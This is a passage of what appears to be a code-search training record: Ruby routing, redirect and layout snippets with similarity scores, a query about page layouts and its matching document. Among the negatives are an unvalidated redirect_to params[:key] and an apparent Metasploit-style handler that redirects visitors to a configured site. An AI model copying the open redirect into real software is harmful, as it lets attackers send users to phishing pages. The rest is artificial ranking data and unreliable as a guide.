self.respond_to?(action, true) #second param includes private methods\n env['params']['id'] = params[:id] || (path_info if has_path)\n self.send(action)\n else\n error_on MethodNotAllowedError, \"#{action} not supported for this resource\"\n end\n end", "def on_request_uri(cli, req)\r\n\t\tsend_response(cli, %Q{window.location.replace('#{datastore['Website']}');})\r\n\tend", "def store_location\n # Store the URL only when the reqest was GET\n session[:forwarding_url] = request.original_url if request.get?\n end", "def route_to(path, args = {}, protocol = \"http://\")\n request = Request.new({:protocol => protocol, :path => path}.merge(args))\n # Merb::Router.match(request)\n Merb::Router.route_for(request)\n end", "def navigate(path, query)\n self.route(path, query)\n history.pushState({path: path, query: query}, nil, path)\n end", "def route!(request)\n @@request = request\n @@routes.each do |route|\n if route.first == request.path\n return route.last.call\n break\n end\n end\n end", "def request_uri\n return unless @path\n\n url = @query ? \"#@path?#@query\" : @path.dup\n url.start_with?(?/.freeze) ? url : ?/ + url\n end", "def call(env)\n request = Rack::Request.new(env)\n if redirect_trailing_slash? && (request.head? || request.get?) && request.path_info[-1] == ?/\n response = Rack::Response.new\n response.redirect(request.path_info[0, request.path_info.size - 1], 302)\n response.finish\n else\n response = recognize(request)\n env['router'] = self\n if response.is_a?(RoutingResponse)\n [response.status, response.headers, []]\n elsif response && response.route.dest && response.route.dest.respond_to?(:call)\n process_params(env, response)\n consume_path!(request, response) if response.partial_match?\n response.route.dest.call(env)\n else\n @default_app.call(env)\n end\n end\n end", "def perform_routing(path, session, base_uri)\n perform_routing_with_parent(self, path, session, base_uri)\n end", "def get_requested_route(env)\n request = Rack::Request.new(env)\n \n http_method = request.request_method.downcase\n path = request.path_info\n\n [http_method, path]\n end", "def call_by_request(request)\n rotation do |offset|\n pattern = decode_pattern(request.path_info)\n if route = match?(offset, pattern)\n params = route.params_for(pattern, request.params)\n yield(route, params) if route.verb == request.request_method\n route\n end\n end\n end", "def extract_route\n Xhive::Router::Route.find(request.path)\n end", "def recognized_request_for(path, request_method = nil)\n path = \"/#{path}\" unless path.first == '/'\n\n # Assume given controller\n request = ActionController::TestRequest.new({}, {}, nil)\n request.env[\"REQUEST_METHOD\"] = request_method.to_s.upcase if request_method\n request.path = path\n\n ActionController::Routing::Routes.recognize(request)\n request\n end", "def path ; @request.path_info ; end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def request_path\n @path = controller_path + '#' + action_name\n def @path.is(*str)\n str.map{|s| self.include?(s)}.include?(true)\n end\n end", "def solve(location)\n if location == :current\n request.url\n else\n location\n end\n end", "def match(request)\n path = String.normalize_path(request.path)\n method = request.method\n\n match, data = nil\n @sets.each { |set|\n match, data = set[1].match(path, method)\n break if match\n }\n\n fns = []\n if match\n fns = match[3]\n\n # handle route params\n #TODO where to do this?\n request.params.merge!(Hash.strhash(self.data_from_path(path, data, match[1])))\n\n #TODO where to do this?\n request.route_path = match[4]\n end\n\n fns\n end", "def routes\n request :get, '/routes'\n end", "def store_location\nsession[:forwarding_url] = request.url if request.get?\nend", "def call(env)\n route = self.route(env)\n if route\n env['params'] = route.match(env) || {}\n route.call(env)\n else\n env['params'] = {}\n not_found.call(env)\n end\n end", "def route (env)\n # http://blog.siami.fr/diving-in-rails-the-request-handling\n # http://jmcglone.com\n # fetch(env)\n 'http://risingstars2016.netlify.com/$1'\n end", "def refresh()\n self.route(history.state.path, history.state.query)\n end", "def index\n @location = request.location\n end", "def store_location\n session[:forwarding_url]=request.fullpath if request.get?\n end", "def recognize_request(path, verb=nil)\n path = \"/#{path}\" unless path.first == '/'\n # Assume given controller\n request = ActionController::TestRequest.new({})\n request.env[\"REQUEST_METHOD\"] = verb.to_s.upcase if verb\n request.path = path\n ActionController::Routing::Routes.recognize(request)\n request\n end", "def process(request_hash)\n request = Request.new(request_hash)\n case request.path\n when '/'\n index_route(request)\n when %r{^/sleep/\\d+$}\n sleep_route(request)\n else\n Response.new(\n \"No route found for #{request.path}. Try '/' or '/sleep/3'.\",\n status: 404\n )\n end\n end", "def params_from(path)\r\n ensure_that_routes_are_loaded\r\n ActionController::Routing::Routes.recognize_path(path)\r\nend", "def find_route(routes, request)\n transport = request.websocket? ? 'WS' : 'HTTP'\n routes.match(request.request_method, transport, request.path)\n end", "def recognize_path_with_filter(path, environment={})\r\n if route = ModelRoute.find_by_external_path(path) \r\n path = route.internal_path\r\n end\r\n recognize_path_without_filter(path, environment)\r\n end", "def route9\n redirect_to params[:key]\n end", "def route_for(**url_details)\n @routes.select { |rt| url_details <= rt.url_details }.first\n end", "def store_location\n session[:return_to] = begin\n if !request.query_string.empty?\n \"#{request.path}?#{Rack::Utils.parse_query(request.query_string).slice!(SNOWMAN_NAME).to_query}\"\n else\n request.path\n end\n end\n end", "def route! env\n http_route = \"#{env[REQ_METHOD]} #{env[PATH_INFO]}\"\n return true if env[GIN_ROUTE] == http_route\n\n env[GIN_TARGET], env[GIN_PATH_PARAMS] =\n router.resources_for env[REQ_METHOD], env[PATH_INFO]\n\n env[GIN_ROUTE] = http_route\n\n !!env[GIN_TARGET]\n end", "def req_path(env)\n env[\"REQUEST_PATH\"].match(req_path_regex)[1]\n end", "def recognize(request)\n prepare! unless prepared?\n pattern, verb, params = parse_request(request)\n fetch(pattern, verb){|route| [route, params_for(route, pattern, params)] }\n end", "def generic_url_rewriter \n env = Request.new(:method => :get, :url => Steam.config[:request_url]).env\n UrlRewriter.new(ActionController::Request.new(env), {})\n end", "def set_request_uri \n @query = @query.set_request_uri(request.fullpath.sub(/screen=[A-Za-z]*/,'screen=UsersScreen')) if @query.respond_to?(:set_request_uri)\n end", "def store_location \n\t\tsession[:forwarding_url] = request.url if request.get?\n\tend", "def store_location\n session[:forwarding_url] = request.url? if request.get?\n end", "def route_for(request)\n index, params = if @around_match\n send(@around_match, request) { match(request) }\n else\n match(request)\n end\n route = routes[index] if index\n if !route\n raise ControllerExceptions::NotFound, \n \"No routes match the request: #{request.uri}\"\n end\n [route, params]\n end", "def decorate_path path, options={}\n assert_query path, redirect_params( options )\n end", "def store_location\n \tsession[:forwarding_url] = request.url if request.get?\n end", "def route(path = T.unsafe(nil)); end", "def store_location\n session[:forwarding_url] = request.original_url if request.get?\nend", "def route\n @route ||= Role.available_routes.find {|r| r.conditions[:path_info].to_s == path_info && r.conditions[:request_method].to_s == request_method}\n end", "def recognize_with_filtering(request, &block)\n path, route, matches, params = request.env['PATH_INFO'], nil, nil, nil\n original_path = path.dup\n\n filters.run(:around_recognize, path, request.env) do\n route, matches, params = recognize_without_filtering(request)\n params || {}\n end\n\n request.env['PATH_INFO'] = original_path # hmm ...\n return nil unless route\n\n if block_given?\n return block.call(route, matches, params)\n else\n return route, matches, params\n end\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def store_location\n session[:forwarding_url] = request.url if request.get?\n end", "def url_for_request(request)\n url_for(controller: :resolve, action: :index, only_path: false,\n 'umlaut.request_id' => request.id)\n end", "def authenticate_request\n session[:requested_url] = request.fullpath\n\n url = logged_in? ? shibbolite.access_denied_url : shibbolite.login_url\n\n # redirect to the selected url\n respond_to do |format|\n format.html { redirect_to url }\n format.js { render js: \"window.location.assign('#{url}');\"}\n end\n end", "def get(request)\n @connection.get request.qpath\n end", "def path(request)\n request.path\n end", "def _path uri, subject\n [uri.request_uri, subject].join\nend", "def _path uri, subject\n [uri.request_uri, subject].join\nend", "def request_path(a, x, y = nil)\n # get target coordinates from parameters\n x, y = path_requesting_parameters(x, y)\n # create requesting hash if none exists\n @request = {} if @request == nil\n # if request does not exist yet\n if a != nil && x != nil && y != nil && @request[a] == nil\n # add request\n @request[a] = PathRequest.new(a.x, a.y, x, y)\n end\n end", "def path_to *args\n return \"#{args[0]}#{\"?\" << Gin.build_query(args[1]) if args[1]}\" if String === args[0]\n args.unshift(self.class) if Symbol === args[0] &&\n self.class.actions.include?(args[0])\n @app.router.path_to(*args)\n end", "def call(env)\n do_path_serve(env['PATH_INFO'], env)\n end", "def route\n \"#{@http_verb.to_s.upcase} #{@url}\"\n end", "def match base, target\n base = base.split('/').slice(1, 100)\n\n base.each_with_index do |el, i|\n if el[0,1] == ':'\n params[el.sub(':','').to_sym] = nav.path[i]\n else\n return unless el == nav.path[i]\n end\n end\n\n call target\n end", "def start_over_path query_params = params\n h = { }\n current_index_view_type = document_index_view_type(query_params)\n h[:view] = current_index_view_type unless current_index_view_type == default_document_index_view_type\n\n search_action_path(h)\n end", "def route_geosearch\n get '/gtfs/routes/geosearch/'\n end" ]
[ "0.67203146", "0.6086693", "0.60334957", "0.6001978", "0.59827167", "0.59424055", "0.5936021", "0.588675", "0.58416086", "0.5828264", "0.58279306", "0.58259916", "0.57989043", "0.5749073", "0.57270944", "0.5716356", "0.56951743", "0.56919754", "0.56765", "0.56650597", "0.5660435", "0.56502384", "0.56194305", "0.55877376", "0.5586677", "0.55823547", "0.55802894", "0.55456257", "0.55409247", "0.5534531", "0.55276453", "0.5527178", "0.55236727", "0.5515235", "0.55101645", "0.5501995", "0.54994863", "0.5495996", "0.5487857", "0.5480481", "0.5476081", "0.5451875", "0.5444021", "0.54401803", "0.5438117", "0.54375714", "0.5435794", "0.54347247", "0.54320383", "0.5430596", "0.54295206", "0.541791", "0.54172176", "0.5416138", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5413213", "0.5412544", "0.54095757", "0.5405127", "0.5405036", "0.537966", "0.537966", "0.5377822", "0.5372183", "0.53656137", "0.5362759", "0.5357139", "0.5349645", "0.53476644" ]
0.0
-1
common layout for all pages: header, main, footer, and forms
def render _Header item: @item _main do React.createElement(@item.view, item: @item) end _Footer item: @item, buttons: @buttons if @item.buttons @item.buttons.each do |button| React.createElement(button.form, item: @item, server: @@server) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def layout; end", "def layouts; end", "def layouts; end", "def page_layout\n @user = User.current\n @blocks = @user.pref.my_page_layout\n end", "def layout\n @layout\n end", "def default_layout\n site.config.page_layout\n end", "def kopal_layout_after_page_header\n\n end", "def set_layout\n if current_paciente != nil\n \"pacientes_pages\"\n else\n \"nutriologo_pages\"\n end\n end", "def kopal_layout_before_page_footer\n\n end", "def layout\n nil\n end", "def layout\n nil\n end", "def kopal_layout_before_page_header\n\n end", "def home #uses default admin layout\n end", "def layout()\n layout_children()\n end", "def layout\n html do\n head do\n title 'TrackTime'\n end\n body do\n h1 \"welcome to tracktime\"\n div.content do\n self << yield\n end\n end\n end\n end", "def layout( content = nil )\n content ||= site\n doctype\n html {\n head {\n\n meta :name => 'description', :content => site['description']\n meta :name => 'verify-v1', :content => 'SJp07enRMbdu2hJ8AhT08Wc6OyTAGjtvxVzo7X1k83g='\n link :rel => 'alternate', :type => 'application/rss+xml', :href => 'http://feeds.feedburner.com/MouseTrap20'\n\n stylesheet content.stylesheet,\n 'syntaxhighlighter_2/styles/shCore',\n 'syntaxhighlighter_2/styles/shThemeDefault'\n\n javascript 'http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js',\n 'syntaxhighlighter_2/scripts/shCore',\n 'syntaxhighlighter_2/scripts/shBrushRuby',\n :site\n\n title content.title\n\n }\n body {\n sidebar {\n img( :src => paths(:image).get( 'banner.png' ) )\n block {\n welcome = model(:story).find(:sidebar)\n h4 welcome.title\n p { textile( welcome.content ) }\n }\n }\n page { yield }\n }\n }\n end", "def kopal_layout_after_page_sidebar\n\n end", "def layout( content = nil )\n content ||= site\n doctype\n html {\n head {\n\n meta :name => 'description', :content => site['description']\n meta :name => 'verify-v1', :content => 'SJp07enRMbdu2hJ8AhT08Wc6OyTAGjtvxVzo7X1k83g='\n link :rel => 'alternate', :type => 'application/rss+xml', :href => 'http://feeds.feedburner.com/MouseTrap20'\n\n stylesheet content.stylesheet\n javascript 'http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js', :site\n title content.title\n\n }\n body {\n page { \n banner { img( :src => paths(:image).get( 'banner.png' ) ) }\n main { yield }\n sidebar {\n block {\n welcome = model(:story).find(:sidebar)\n p { textile( welcome.content ) }\n }\n }\n }\n }\n }\n end", "def kopal_layout_before_page_sidebar\n\n end", "def layout\n lookup_layout\n end", "def about\n render :layout => 'centered_page'\n end", "def kopal_layout_before_page_meta\n\n end", "def kopal_layout_after_page_meta\n\n end", "def set_layout\n if 1==1\n 'application'\n else\n 'dean'\n end\n end", "def site_layout\n File.join PATHS[:layouts], \"site_layout.html.erb\"\n end", "def layout\n self.class.layout || @app.layout\n end", "def html_contents\n layout_contents\n end", "def body_content\n div(:id => :container, :class => container_classes().join(' ')) do\n header(:class => header_classes().join(' ')) do\n header_content()\n end\n div(:id => :main, :role => :main, :class => main_classes().join(' ')) do\n main_content()\n end\n footer(:class => footer_classes().join(' ')) do\n footer_content()\n end\n end\n #JavaScript at the bottom for fast page loading\n scripts()\n end", "def setup_layouts\n @content_layouts = []\n get_layouts(File.join(::Rails.root.to_s, 'app', 'views', 'layouts')).each do |layout|\n @content_layouts << OpenStruct.new(:name => layout.titleize, :value => layout)\n end\n end", "def layouts\n @layouts || site.layouts\n end", "def app_layout\n layout_content = read_view :application, :folder => 'layouts' #, :type => :erb\n\n [:alert, :notice].each{|name| insert_flash_displayer name}\n end", "def admin_layout \n @admin_layout\n end", "def master_layout\n @setup[:master_layout] ||= @master_layout ||\n (@controller.ctrl.slice.view.master_layout if @controller)\n end", "def layout \n return @layout\n end", "def layout_contents\n layout.render(self)\n end", "def kopal_layout_after_page_front\n\n end", "def kopal_layout_before_page_front\n\n end", "def static_layout\n nil\n end", "def dynamic_layout\n # ALL THIS SUCKS, I KNOW..\n \n # No layout for AJAX calls\n @layout = if request.xhr? \n nil\n # dialog param = lightview popup\n elsif params[:dialog]\n 'dialog'\n # uses user 'role' name for layout ... bad\n elsif current_user && !current_user.role.nil?\n current_user.role.downcase\n # no user, check for 'about' action\n elsif controller_name == 'about'\n 'about'\n # none of the above, use Rails default\n else\n 'home'\n end\n return nil unless @layout\n \n Rails.logger.debug \"Dyamic layout = #{@layout}\"\n # Layouts further divided by site subdomain: www vs vault\n if current_subdomain == 'vault'\n # Then public vs logged in...ugh\n if current_user\n @layout = 'vault/private/' + @layout\n else\n @layout = 'vault/public/' + @layout\n end\n end\n @layout\n end", "def kopal_layout_after_page_footer\n \n end", "def layout\n @current_layout ||= :default_layout\n send(\"#{@current_layout}\"){ yield }\n end", "def default_headers_and_footers\n self.header ||= self.class.default_header\n self.footer ||= self.class.default_footer\n end", "def place_in_layout?; end", "def place_in_layout?; end", "def layout_for\n if devise_controller?\n 'full_page'\n else\n 'application'\n end\n end", "def define_layout\n if user_signed_in?\n if current_user.student?\n case params['action']\n when \"show\"\n 'information_student' \n when \"events\"\n 'information_student'\n when \"frequency\"\n 'information_student' \n else\n 'student' \n end\n else\n if params['action'] == 'declaration_of_studying'\n 'print'\n else\n if params['action'] == 'daily'\n 'print'\n else\n if params['action'] == 'down_average'\n 'print'\n else\n if params['action'] == 'print'\n 'print'\n else\n if params['action'] == 'report_calendar'\n 'print'\n else\n if params['action'] == 'report_re_enrollments'\n 'print'\n else\n if params['action'] == 'report_schedules'\n 'print' \n else\n if params['action'] == 'report'\n 'print_not_head'\n else\n if params['action'] == 'report_teacher'\n 'print_not_head' \n else\n if params['action'] == 'buy_books'\n 'print_not_head'\n else\n if params['action'] == \"envelopes_for_exams\"\n 'print_not_head' \n else\n if params['controller'] == 'warnings' and params['action'] == 'show'\n 'print' \n else\n if params['controller'] == 'calendars' and params['action'] == 'show'\n nil \n else\n if params['controller'] == 'companies' and params['action'] == 'print_informations'\n 'print_head_javascript'\n else\n \n if params['controller'] == 'companies' and params['action'] == 'students_for_neighborhood'\n \"print\"\n else\n if params['controller'] == 'companies' and params['action'] == 'lists'\n \"print\"\n else\n if params['controller'] == 'companies' and params['action'] == 'students_for_level'\n \"print\"\n else\n nil \n end\n end \n end\n end\n end\n end\n end \n end\n end\n end\n end\n end\n end\n end\n end\n end\n \n end\n end\n else\n \"login\"\n end\n end", "def get_layout\n\tlogged_in? and :page_user or :page_visitor\nend", "def kopal_layout_after_body_start\n\n end", "def index\n render layout: 'static_pages'\n end", "def render_page_layout\n render @page, page: @page\n rescue ActionView::MissingTemplate\n warning(\"PageLayout: '#{@page.page_layout}' not found. Rendering standard page_layout.\")\n render \"alchemy/page_layouts/standard\", page: @page\n end", "def admin_layout\n render layout: 'admin_layout'\n end", "def app_layout\n layout_content = read_view :layouts => :application \n [:alert, :notice].each{|name| insert_flash_displayer name, layout_content}\n end", "def layout\n return @layout if @layout\n return if no_layout?\n\n @layout = site.layouts[data.layout].tap do |layout|\n unless layout\n Bridgetown.logger.warn \"Generated Page:\", \"Layout '#{data.layout}' \" \\\n \"requested via #{relative_path} does not exist.\"\n end\n end\n end", "def layout\n case @mode\n when :injector\n \"injector\"\n when :page\n \"application\"\n else\n false\n end\n end", "def layout\n yield(layout_for) if block_given?\n layout_for\n end", "def layout(layout_type)\n\t\t#most content. that is loaded into the artist content area (just content)\n\t\tif layout_type.nil? || layout_type.blank?\n\t\t\t@layout = false\n\t\t\t@hook = \"#content\"\n\t\t#when artist page has to be loaded (logo, nave and content)\n\t\telsif layout_type == \"artist\"\n\t\t\t@layout = \"layouts/artist_admin_and_artist_floating_content.html.erb\"\n\t\t\t@hook = \".dynamicContent\"\n\t\tend\n\tend", "def on_load\n layout (self.view, :root) do\n\n @title = subview(UILabel, :title)\n @username = subview(UITextField, :username, delegate: self)\n @password = subview(UITextField, :password, delegate: self)\n @login_button = subview(UIButton.custom, :login_button)\n @register_button = subview(UIButton.custom, :register_button)\n\n #auto do\n # metrics 'margin' => 20\n # #metrics '2margin' => 20\n #\n # vertical \"|-50-[title]-75-[username]-margin-[password(==80)]-margin-[login_button(==30)]->=20-[register_button(==40)]-margin-|\"\n # horizontal \"|-[title]-|\"\n # horizontal \"|-margin-[username]-margin-|\"\n # horizontal \"|[password]-margin-|\"\n # horizontal \"|-margin-[login_button]-margin-|\"\n # horizontal \"|-margin-[register_button]-margin-|\"\n #end\n end", "def default_layout\n @default_layout ||= (\n IO.read(LIBDIR + \"/templates/layouts/page.mustache\")\n )\n end", "def set_radiant_layout\n @content_for_header_content = header_content_for_page('diagnostics')\n @content_for_body_class = body_class_for_page('diagnostics')\n @content_for_title_tag = title_tag_for_page('diagnostics')\n \n @radiant_layout = \"Default Layout\"\n end", "def index\n respond_with @layouts\n end", "def set_layout\n @layoutme = 1\n end", "def default_layout\n 'default' if html?\n end", "def index\n render :index, layout: 'basic'\n end", "def content\n div :id => 'doc3' do\n div :id => 'hd' do\n render_top_line\n h1 @page_title || 'Missing :page_title' \n end\n div :id => 'bd' do\n render_body\n end\n div :id => 'ft' do\n render_footer\n end\n end\n end", "def admin_layout\n self.class.layout \"admin\" if current_user && admin?(current_user)\n end", "def layout layout = nil, *actions\n if (layout || layout == false) && configurable?\n @layouts ||= Hash.new\n layout = layout.to_s unless layout == false\n if actions.size == 0\n actions = ['*']\n @master_layout = layout\n end\n actions.each { |a| @layouts[a] = layout }\n end\n @setup[:layouts] ||= @layouts ||\n (@controller.ctrl.slice.view.layout if @controller) || {}\n end", "def page_layout\n @user = User.current\n @blocks = @user.pref[:my_page_layout] || DEFAULT_LAYOUT.dup\n @block_options = []\n BLOCKS.each do |k, v|\n unless @blocks.values.flatten.include?(k)\n @block_options << [l(\"my.blocks.#{v}\", :default => [v, v.to_s.humanize]), k.dasherize]\n end\n end\n end", "def page_layout\n @user = User.current\n @blocks = @user.pref[:my_page_layout] || DEFAULT_LAYOUT.dup\n @block_options = []\n BLOCKS.each do |k, v|\n unless @blocks.values.flatten.include?(k)\n @block_options << [l(\"my.blocks.#{v}\", :default => [v, v.to_s.humanize]), k.dasherize]\n end\n end\n end", "def get_content_for_layout()\n get_partial(@type)\n # if @type == \"home\"\n # get_partial('home')\n # elsif @type == \"page\"\n # get_partial('page')\n # elsif @type == \"article\"\n # get_partial('article')\n # elsif @type == \"category\"\n # get_partial('category')\n # end\n end", "def page_header(site_config, page_count)\n # start common page region\n page = %(<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n <meta charset=\"UTF-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <!-- The above 3 meta tags *must* come first in the head;\n any other head content must come *after* these tags -->\n <title>#{site_config['title']}</title>)\n page += add_icons\n page += %(\n <meta name=\"description\" content=\"#{site_config['description']}\">\n <meta name=\"theme-color\" content=\"##{site_config['theme_color']}\">\n <link rel=\"stylesheet\" href=\"assets/bootstrap/css/bootstrap.min.css\">\n <link rel=\"stylesheet\" href=\"assets/bootstrap/css/bootstrap-theme.min.css\">\n <style>\n .container-fluid { padding: 0px; }\n .navbar, .navbar-default { margin-bottom: 0; padding: 5pt; background-color: ##{site_config['theme_color']}; font-size: 12pt; }\n .navbar, .navbar-default li a { color: ##{site_config['text_color']} !important; }\n .navbar-default .navbar-brand { margin-left: 20px !important; color: ##{site_config['logo_text_color']}; font-size: 18pt; font-weight: bold; }\n .navbar-brand:hover { background-color: #{site_config['nav_hover_color']} !important; }\n div[id^=\"d3pie_chart_div_\"], canvas { margin-bottom: 100px; }\n footer { background-color: ##{site_config['theme_color']}; min-height: 200px;}\n footer ul a { color: ##{site_config['text_color']} !important; font-size: 13pt; }\n footer .container { margin-left: 15px; }\n .built { text-decoration: none !important; }\n .selected { background-color: #{site_config['nav_selected_color']}; font-weight: bold; }\n .navbar-default li:hover a { background-color: #{site_config['nav_hover_color']} !important; }\n h1 { text-align: center; background-color: ##{site_config['theme_color']}; padding: 14px; color: ##{site_config['text_color']}; }\n pre { white-space: pre-wrap; word-wrap: break-word; }\n .homepage { padding: 5px 30px 5px 30px; }\n .logo { float: left; }\n .oll { padding-left: 1em; }\n h2#other { text-align: center; }\n .plotlypie { height: 625px; }\n </style>\n </head>\n <body>\n <!-- Static navbar -->\n <nav class=\"navbar navbar-default\" id=\"head1\">\n <div class=\"container-fluid\">\n <div class=\"navbar-header\">\n <a href=\"index.html\"><img src=\"assets/images/logo.png\" alt=\"Ruby Powered\" class=\"logo\"></a>\n <button type=\"button\" class=\"navbar-toggle collapsed\" data-toggle=\"collapse\" data-target=\"#navbar\" aria-expanded=\"false\" aria-controls=\"navbar\">\n <span class=\"sr-only\">Toggle navigation</span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n </button>\n <a class=\"navbar-brand\" href=\"index.html\">#{site_config['nav_heading']}</a>\n </div>\n <div id=\"navbar\" class=\"navbar-collapse collapse\">\n <ul class=\"nav navbar-nav\">)\n page += add_links(page_count)\n page += %(\n </ul>\n </div>\n </div>\n </nav>\n <div class=\"container-fluid\">)\n (0..page_count).map do |i|\n instance_variable_set(\"@page#{ii(i)}\", page)\n end\nend", "def index\n if @current_website.present?\n @pages = @current_website.pages\n else\n @pages = Page.all\n end\n render layout: \"themes/basic/layout\"\n end", "def add_template_pages; end", "def layout_fields\n \n end", "def layouts=(_arg0); end", "def layouts=(_arg0); end", "def index\n @pages = Page.all\n render layout: 'application'\n end", "def set_radiant_layout\n @content_for_header_content = header_content_for_page('research')\n @content_for_body_class = body_class_for_page('research')\n @content_for_title_tag = title_tag_for_page('conditions')\n\n @radiant_layout = \"Default Layout\"\n \n @topics = ResearchTopic.all_published\n end", "def administration\n #render layout: 'administration'\n render layout: 'views/index'\n end", "def layout\n @layout ||= layout_class.new(@rack_context)\n end", "def default_layout\n nil\n end", "def new\n render :layout => \"main\" \n end", "def render_layout(output, layout, info); end", "def template_page(site); end", "def set_layout\n if request.xhr?\n self.class.layout false\n else\n self.class.layout \"application\"\n end\n end", "def _layout_page\n @content = @page.render(self)\n\n _track_rendering(@page.path) {\n _render_layout_for(@page)\n }\n raise ::Webby::Error, \"rendering stack corrupted\" unless @@stack.empty?\n\n @content\n rescue ::Webby::Error => err\n @log.error \"while rendering page '#{@page.path}'\"\n @log.error err.message\n rescue => err\n @log.error \"while rendering page '#{@page.path}'\"\n @log.fatal err\n exit 1\n ensure\n @content = nil\n @@stack.clear\n end", "def show\n \n if Page.count==0\n ensure_homepage\n else\n @page = @page || Page.find_by_alias(app_path)\n # TODO: add the ability for the user to choose whether to render the page or use it as a redirect\n #path = @page.path == '/' ? 'index' : @page.path\n #redirect_to @page.url unless path==app_path\n end\n\n if @page.nil?\n if admin?\n flash[:notice]=\"The page you requested does not exist. Would you like to create it?\"\n @page = Page.new(:path=>app_path)\n @page_template = \"admin\"\n render :action=>'new'\n else\n render :file => \"#{RAILS_ROOT}/public/404.html\", :layout => false, :status => 404\n end\n else\n @[email protected]\n @title = @page.title\n @page_description = @page.description\n\n # Even though the printable pages are rendered in a different layout\n # they also need a different template, since this template should only\n # have a single column\n \n if params[:print] && params[:print] == \"true\"\n @page_template = \"print\"\n elsif @page.url =~ /moving_from_caregivers_menu/\n @page_template = \"template_caregivers\"\n elsif @page.url =~ /moving_from_providers_menu/\n @page_template = \"template_providers\"\n else\n @page_template = @page.template.name\n end\n \n # This isn't really necessary, but it makes the print view very clean\n @pages = [@page]\n\n if params[:popup] && params[:popup] == \"true\"\n render :action => \"show\", :layout => false\n end \n\n if params[:save] && params[:save] == \"true\"\n render_for_save\n end \n \n #Setting the body_id to caregivers to access Noah's customized css. \n #Setting the body_id to caregivers to access Noah's customized css. \n if @page.template.name == 'template_caregivers'\n @body_id = \"Caregivers\" \n @other_perspective, @other_persepective_title = 'moving_from_providers_menu' + $1, 'Health Care Provider Perspective' if @page.url =~ /moving_from_caregivers_menu(.*)/\n elsif @page.template.name == 'template_providers'\n @body_id = \"Providers\" \n @other_perspective, @other_persepective_title = 'moving_from_caregivers_menu' + $1, 'Family Caregiver Perspective' if @page.url =~ /moving_from_providers_menu(.*)/\n elsif @page.template.name == 'template_caregivers_no_menu'\n @body_id = \"Caregivers\" \n elsif @page.template.name == 'template_providers_no_menu'\n @body_id = \"Providers\" \n elsif @page.template.name == 'template_index'\n @body_id = \"Home\" \n end\n \n @left_top_menu = Page.find_by_path 'left_top_menu' \n @left_bottom_menu = Page.find_by_path 'left_bottom_menu' \n \n \n @page_template, @page_type = 'template_pdf', 1 if @page.path == 'CaregiverTool'\n @page_template, @page_type = 'template_pdf', 2 if @page.path == 'ProviderTool'\n \n end\n end", "def default_layout\n @user = User.current\n # remove block in all groups\n @user.pref[:my_page_layout] = nil\n @user.pref.save\n redirect_to :action => 'page_layout'\n end", "def partenaires\n #render layout: 'admin'\n render layout: 'views/index'\n end", "def layouts\n @layouts ||= Subdomain.new.layouts\n end", "def layout_children\n \n end", "def books_layout\n if params[:action] == 'show'\n 'reading'\n elsif params[:action] == 'edit' || params[:action] == 'new'\n 'writing'\n else\n 'application'\n end\n end", "def generate_layout\n if options.sass?\n directory 'app'\n gem 'compass', '>=0.10.5'\n gem 'compass-960-plugin', '>=0.10.0'\n directory 'config'\n else\n copy_file \"stylesheet.css\", \"public/stylesheets/#{file_name}.css\" if options.stylesheet?\n copy_file \"handheld.css\", \"public/stylesheets/handheld.css\" if options.stylesheet?\n end\n copy_file \"modernizr-1.5.min.js\", \"public/javascripts/modernizr-1.5.min.js\"\n copy_file \"jquery-1.4.2.min.js\", \"public/javascripts/jquery-1.4.2.min.js\"\n copy_file \"dd_belatedpng.js\", \"public/javascripts/dd_belatedpng.js\"\n\n template \"layout.html.erb\", 